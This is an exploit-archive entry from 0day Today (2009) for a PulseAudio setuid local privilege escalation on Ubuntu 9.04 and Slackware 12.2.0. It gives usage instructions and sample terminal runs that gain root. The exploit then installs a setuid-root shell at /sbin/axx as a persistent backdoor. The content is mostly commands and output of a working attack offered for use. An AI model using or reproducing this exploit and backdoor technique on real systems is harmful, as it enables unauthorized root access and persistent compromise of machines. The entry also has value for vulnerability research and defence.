PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)

2009-07-20T00:00:00
ID 1337DAY-ID-8020
Type zdt
Reporter 0day Today Team
Modified 2009-07-20T00:00:00

Description

Exploit for linux platform in category local exploits

                                        
                                            =====================================================================
PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)
=====================================================================


PulseAudio setuid Local Privilege Escalation Vulnerability
Credit for discovery of bug: Tavis Ormandy, Julien Tinnes and 
Yorick Koster 
--

Put files in /tmp/pulseaudio-exp (or change config.h). Must be on 
same fs as the pulseaudio binary.

Goes faster if you already have a pulseaudio running ? :p

Tested with success on Ubuntu 9.04 (x86-64) and slackware 12.2.0 
(x86)

Ubuntu:
------------------------------------
$ ./c.sh
$ ./pulseaudio-exp 
Please wait.
[*] Seems we are uid = 0 and gid = 0
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
[*] chown root.root /sbin/axx
[*] chmod 4755 /sbin/axx
Try: /sbin/axx /bin/sh
$ /sbin/axx /bin/sh
# id
uid=0(root) gid=0(root) 
groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(adm
in),122(sambashare)
# uname -a
Linux ubuntu 2.6.28-13-generic #45-Ubuntu SMP Tue Jun 30 22:12:12 
UTC 2009 x86_64 GNU/Linux
------------------------------------
Slackware
------------------------------------
$ ./c.sh 
$ ./pulseaudio-exp 
Please wait.
[*] Seems we are uid = 0 and gid = 0
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
[*] chown root.root /sbin/axx
[*] chmod 4755 /sbin/axx
Try: /sbin/axx /bin/sh
$ /sbin/axx /bin/sh
sh-3.1# id
uid=0(root) gid=0(root) groups=17(audio),100(users),104(pulse-rt)
sh-3.1# uname -a
Linux slackware 2.6.27.7-smp #2 SMP Thu Nov 20 22:32:43 CST 2008 
i686 Intel(R) Pentium(R) Dual  CPU  T3400  @ 2.16GHz 
GenuineIntel GNU/Linux
------------------------------------

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